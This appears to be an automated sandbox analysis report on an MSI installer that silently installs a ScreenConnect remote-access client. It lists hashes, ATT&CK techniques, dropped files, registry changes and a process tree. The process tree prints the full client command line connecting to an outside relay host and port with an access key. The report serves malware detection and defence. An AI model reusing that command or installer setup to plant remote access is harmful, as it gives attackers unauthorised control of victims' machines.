52addbccf07f023efef348bbd8c74dbc588f65ab2ddb69b9e676fa0b768c0b99

Analysis

max time kernel
149s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
15/04/2026, 13:36

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
SecuriteInfo.com.Riskware.MSIL.ScreenConnect.Heur.29504.36.msi
Size 1.8MB
Sample260415-qwl4zaas21
SHA256 52addbccf07f023efef348bbd8c74dbc588f65ab2ddb69b9e676fa0b768c0b99
MD5 3e573f4670898a35fd39d5d430c96748
SHA1 595f8a9d253e1c9d66cc83bc0f26a8931a19cb32
SHA512 5e5983cfeda51cdf9d28695e3277dad611415d0f1d73f9aa45f59fad64f32a1ce94d8e709c199b4c245f1d87f880ab7777be88a140dbcad3f4ba51b4324404dc
SSDEEP 24576:RNGryn8Y2KWeNXPKPC+j/4TkfVub1emjS4t3nHRRlUhIMUUGGHpYLgmdF8gu7ura:jeyqkXSPkYYb1rSuRlUOXGHpYLgSL1g
TLSH
T11095F13136E4C039E2B21B35E93A92F15E79BD24DA62C05F43643D1E7971E809AB2773
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

discovery persistence privilege_escalation ransomware

Malware Config

Signatures

Executes dropped EXE 3 IoCs

pid	Process
2664	ScreenConnect.ClientService.exe
3804	ScreenConnect.WindowsClient.exe
4588	ScreenConnect.WindowsClient.exe

Loads dropped DLL 25 IoCs

pid	Process
2340	MsiExec.exe
2952	rundll32.exe
2952	rundll32.exe
2952	rundll32.exe
2952	rundll32.exe
2952	rundll32.exe
2952	rundll32.exe
2952	rundll32.exe
3144	MsiExec.exe
3144	MsiExec.exe
3144	MsiExec.exe
2552	MsiExec.exe
2552	MsiExec.exe
2664	ScreenConnect.ClientService.exe
2664	ScreenConnect.ClientService.exe
2664	ScreenConnect.ClientService.exe
2664	ScreenConnect.ClientService.exe
2664	ScreenConnect.ClientService.exe
2664	ScreenConnect.ClientService.exe
2664	ScreenConnect.ClientService.exe
2664	ScreenConnect.ClientService.exe
2664	ScreenConnect.ClientService.exe
2664	ScreenConnect.ClientService.exe
2664	ScreenConnect.ClientService.exe
2664	ScreenConnect.ClientService.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ScreenConnect.WindowsClient.exe.log	ScreenConnect.WindowsClient.exe

Drops file in Program Files directory 12 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\Client.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\Client.Override.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\ScreenConnect.ClientService.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\ScreenConnect.Windows.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\ScreenConnect.WindowsClient.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\Client.Override.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\Client.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\system.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\ScreenConnect.Client.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\ScreenConnect.Core.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\ScreenConnect.WindowsClient.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\ScreenConnect.ClientService.exe	msiexec.exe

Drops file in Windows directory 16 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\MSI4592.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI46DC.tmp	msiexec.exe
File created	C:\Windows\Installer\e58442a.msi	msiexec.exe
File created	C:\Windows\Installer\e584428.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e584428.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI45C1.tmp	msiexec.exe
File created	C:\Windows\Installer\{354DBB4C-17BA-4511-8FA3-5113E335E905}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\Installer\SourceHash{354DBB4C-17BA-4511-8FA3-5113E335E905}	msiexec.exe
File opened for modification	C:\Windows\Installer\{354DBB4C-17BA-4511-8FA3-5113E335E905}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI472B.tmp	msiexec.exe
File created	C:\Windows\Installer\wix{354DBB4C-17BA-4511-8FA3-5113E335E905}.SchedServiceConfig.rmi	MsiExec.exe
File opened for modification	C:\Windows\Installer\MSI44F3.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI4504.tmp	msiexec.exe

Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs

persistence privilege_escalation

Installer Packages

T1546.016

Msiexec

T1218.007

pid	Process
5040	msiexec.exe

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000b0ff7bfecd5a687b0000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff000000002701010000080000b0ff7bfe0000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed35000000ffffffff000000000700010000680900b0ff7bfe000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff350000000000000005000000ffffffff000000000700010000f8ff1ab0ff7bfe000000000000f0ff350000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1db0ff7bfe000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ScreenConnect.WindowsClient.exe

Modifies data under HKEY_USERS 13 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.WindowsClient.exe

Modifies registry class 32 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-b9eddf610409fd2b\shell	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C4BBD453AB711154F83A15313E539E50\InstanceType = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\9F106A369A2CD13F9BDEFD164090DFB2	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C4BBD453AB711154F83A15313E539E50\SourceList\Media	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C4BBD453AB711154F83A15313E539E50\ProductName = "ScreenConnect Client (b9eddf610409fd2b)"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C4BBD453AB711154F83A15313E539E50\Version = "369434313"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C4BBD453AB711154F83A15313E539E50\AuthorizedLUAApp = "0"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C4BBD453AB711154F83A15313E539E50\DeploymentFlags = "3"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\9F106A369A2CD13F9BDEFD164090DFB2\C4BBD453AB711154F83A15313E539E50	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\C4BBD453AB711154F83A15313E539E50	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C4BBD453AB711154F83A15313E539E50\PackageCode = "2EA8C4C0BDE94E340906910F1A2940CC"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C4BBD453AB711154F83A15313E539E50\AdvertiseFlags = "388"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-b9eddf610409fd2b\shell\open\command	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C4BBD453AB711154F83A15313E539E50\SourceList\PackageName = "SecuriteInfo.com.Riskware.MSIL.ScreenConnect.Heur.29504.36.msi"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C4BBD453AB711154F83A15313E539E50\SourceList\Media\1 = ";"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C4BBD453AB711154F83A15313E539E50\Clients = 3a0000000000	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-b9eddf610409fd2b\URL Protocol	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-b9eddf610409fd2b\UseOriginalUrlEncoding = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-b9eddf610409fd2b\shell\open\command	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C4BBD453AB711154F83A15313E539E50	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C4BBD453AB711154F83A15313E539E50\Language = "1033"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C4BBD453AB711154F83A15313E539E50\SourceList	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-b9eddf610409fd2b\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (b9eddf610409fd2b)\\ScreenConnect.WindowsClient.exe\" \"%1\""	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\C4BBD453AB711154F83A15313E539E50\Full	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C4BBD453AB711154F83A15313E539E50\SourceList\Net	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C4BBD453AB711154F83A15313E539E50\Assignment = "1"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C4BBD453AB711154F83A15313E539E50\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C4BBD453AB711154F83A15313E539E50\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-b9eddf610409fd2b	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-b9eddf610409fd2b\shell\open	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C4BBD453AB711154F83A15313E539E50\ProductIcon = "C:\\Windows\\Installer\\{354DBB4C-17BA-4511-8FA3-5113E335E905}\\DefaultIcon"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-b9eddf610409fd2b	msiexec.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
1696	msiexec.exe
1696	msiexec.exe
2664	ScreenConnect.ClientService.exe
2664	ScreenConnect.ClientService.exe
2664	ScreenConnect.ClientService.exe
2664	ScreenConnect.ClientService.exe
2664	ScreenConnect.ClientService.exe
2664	ScreenConnect.ClientService.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	5040	msiexec.exe
Token: SeIncreaseQuotaPrivilege	5040	msiexec.exe
Token: SeSecurityPrivilege	1696	msiexec.exe
Token: SeCreateTokenPrivilege	5040	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	5040	msiexec.exe
Token: SeLockMemoryPrivilege	5040	msiexec.exe
Token: SeIncreaseQuotaPrivilege	5040	msiexec.exe
Token: SeMachineAccountPrivilege	5040	msiexec.exe
Token: SeTcbPrivilege	5040	msiexec.exe
Token: SeSecurityPrivilege	5040	msiexec.exe
Token: SeTakeOwnershipPrivilege	5040	msiexec.exe
Token: SeLoadDriverPrivilege	5040	msiexec.exe
Token: SeSystemProfilePrivilege	5040	msiexec.exe
Token: SeSystemtimePrivilege	5040	msiexec.exe
Token: SeProfSingleProcessPrivilege	5040	msiexec.exe
Token: SeIncBasePriorityPrivilege	5040	msiexec.exe
Token: SeCreatePagefilePrivilege	5040	msiexec.exe
Token: SeCreatePermanentPrivilege	5040	msiexec.exe
Token: SeBackupPrivilege	5040	msiexec.exe
Token: SeRestorePrivilege	5040	msiexec.exe
Token: SeShutdownPrivilege	5040	msiexec.exe
Token: SeDebugPrivilege	5040	msiexec.exe
Token: SeAuditPrivilege	5040	msiexec.exe
Token: SeSystemEnvironmentPrivilege	5040	msiexec.exe
Token: SeChangeNotifyPrivilege	5040	msiexec.exe
Token: SeRemoteShutdownPrivilege	5040	msiexec.exe
Token: SeUndockPrivilege	5040	msiexec.exe
Token: SeSyncAgentPrivilege	5040	msiexec.exe
Token: SeEnableDelegationPrivilege	5040	msiexec.exe
Token: SeManageVolumePrivilege	5040	msiexec.exe
Token: SeImpersonatePrivilege	5040	msiexec.exe
Token: SeCreateGlobalPrivilege	5040	msiexec.exe
Token: SeCreateTokenPrivilege	5040	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	5040	msiexec.exe
Token: SeLockMemoryPrivilege	5040	msiexec.exe
Token: SeIncreaseQuotaPrivilege	5040	msiexec.exe
Token: SeMachineAccountPrivilege	5040	msiexec.exe
Token: SeTcbPrivilege	5040	msiexec.exe
Token: SeSecurityPrivilege	5040	msiexec.exe
Token: SeTakeOwnershipPrivilege	5040	msiexec.exe
Token: SeLoadDriverPrivilege	5040	msiexec.exe
Token: SeSystemProfilePrivilege	5040	msiexec.exe
Token: SeSystemtimePrivilege	5040	msiexec.exe
Token: SeProfSingleProcessPrivilege	5040	msiexec.exe
Token: SeIncBasePriorityPrivilege	5040	msiexec.exe
Token: SeCreatePagefilePrivilege	5040	msiexec.exe
Token: SeCreatePermanentPrivilege	5040	msiexec.exe
Token: SeBackupPrivilege	5040	msiexec.exe
Token: SeRestorePrivilege	5040	msiexec.exe
Token: SeShutdownPrivilege	5040	msiexec.exe
Token: SeDebugPrivilege	5040	msiexec.exe
Token: SeAuditPrivilege	5040	msiexec.exe
Token: SeSystemEnvironmentPrivilege	5040	msiexec.exe
Token: SeChangeNotifyPrivilege	5040	msiexec.exe
Token: SeRemoteShutdownPrivilege	5040	msiexec.exe
Token: SeUndockPrivilege	5040	msiexec.exe
Token: SeSyncAgentPrivilege	5040	msiexec.exe
Token: SeEnableDelegationPrivilege	5040	msiexec.exe
Token: SeManageVolumePrivilege	5040	msiexec.exe
Token: SeImpersonatePrivilege	5040	msiexec.exe
Token: SeCreateGlobalPrivilege	5040	msiexec.exe
Token: SeCreateTokenPrivilege	5040	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	5040	msiexec.exe
Token: SeLockMemoryPrivilege	5040	msiexec.exe

Suspicious use of FindShellTrayWindow 7 IoCs

pid	Process
5040	msiexec.exe
5040	msiexec.exe
3804	ScreenConnect.WindowsClient.exe
3804	ScreenConnect.WindowsClient.exe
3804	ScreenConnect.WindowsClient.exe
3804	ScreenConnect.WindowsClient.exe
3804	ScreenConnect.WindowsClient.exe

Suspicious use of SendNotifyMessage 5 IoCs

pid	Process
3804	ScreenConnect.WindowsClient.exe
3804	ScreenConnect.WindowsClient.exe
3804	ScreenConnect.WindowsClient.exe
3804	ScreenConnect.WindowsClient.exe
3804	ScreenConnect.WindowsClient.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 1696 wrote to memory of 2340	1696	msiexec.exe	87
PID 2340 wrote to memory of 2952	2340	MsiExec.exe	88
PID 1696 wrote to memory of 2032	1696	msiexec.exe	94
PID 1696 wrote to memory of 3144	1696	msiexec.exe	96
PID 1696 wrote to memory of 2552	1696	msiexec.exe	97
PID 2664 wrote to memory of 3804	2664	ScreenConnect.ClientService.exe	99
PID 2664 wrote to memory of 4588	2664	ScreenConnect.ClientService.exe	101

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\msiexec.exe
msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Riskware.MSIL.ScreenConnect.Heur.29504.36.msi
1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:5040

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1696
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 032EE14EB5D826A8BD39959DB1A903DF C
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2340
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIFF7E.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240648250 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:2952
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  PID:2032
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 4739402063A8EED6B4AB72501BA16AB0
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:3144
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 16CAB2B8A5E0CD44351463BB24E410CF E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  PID:2552

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
PID:2264

C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\ScreenConnect.ClientService.exe
"C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=82.208.20.199&p=8041&s=aebda13f-26f2-4a84-a782-e2bd182b65ca&k=BgIAAACkAABSU0ExAAgAAAEAAQA11G4g6%2bl4BKXQ3lLmcayE%2fTguge6wmV27n6wlt8EvBiHcsu8P672dpbQaFdNGNeYcZsdbZmUyCJThrZp5XhHJ0vI8KRocvvvxDxRirvN2jyFUkTJMdG9Zzm9XQPWs55XHRB1t%2fziMPJbzZQYTVQcuId0%2bqsjR6kZREKFcywCcswlhQRVKeG2XxXzZ7wIuMtd54hJu7t3udq%2b2Eg0%2fpG2NLZwnnP8a4x7r4YXXLypxEkB7dPrcvJaV9f5mjsw5UxlE9M5jKtNnrlCq1h7fd2hoPBk8U4oAslQeNqjmjvDyQxW5cTASTpnTZiHbbvUyV2DhBmZdk4cI07iOGyQzqmWf&t=&c=ragab&c=&c=&c=&c=&c=&c=&c="
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2664
- C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\ScreenConnect.WindowsClient.exe" "RunRole" "bcdf17c5-7fb1-40c6-b0af-0fe571c8f1ac" "User"
  2⤵
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:3804
- C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\ScreenConnect.WindowsClient.exe" "RunRole" "c9132ee5-ee59-476b-ae7e-6468d48ad051" "System"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Checks processor information in registry
  - Modifies data under HKEY_USERS
  PID:4588

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Event Triggered Execution

T1546

Installer Packages

T1546.016

Privilege Escalation

Event Triggered Execution

T1546

Installer Packages

T1546.016

Defense Evasion

System Binary Proxy Execution

T1218

Msiexec

T1218.007

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e584429.rbs

Path C:\Config.Msi\e584429.rbs
Size 212KB
SHA256 d0bf0c8cc2927e707c904a767ef50a9f878fd11020794657da3915932e554962
MD5 9cde9897504caa977a4c36ff3fbeef5c
SHA1 a74ad80ce2863606e8e3f5b36624468db1cfd8dc
SHA512 33da6ea5c1a4e720e03837443536f7ccab5754e07b7b48bcc7f2b69b162f7aabfe39b90cd54b24755f6b269728ee77ed0088c2966a7dfd85a1262a01c1cfb3eb
SSDEEP 3072:Ps9LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMG+:PsuH2aCGw1ST1wQLdqv+
TLSH
T1AE248C227080807EE7FA1A36D93E9A61BE7DF6240760C59EC3848C1E5D644D06BF7B67
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Client.Override.en-US.resources

Path C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\Client.Override.en-US.resources
Size 429B
SHA256 bbaa77198e9c9335a2153c60d229350d58e3a5e902877f069cc20dad1b77ae6a
MD5 23ef1265fb50267f97b69f949449e438
SHA1 c1ce5e38f92c12b2f6a7f5a844642530f1bd3967
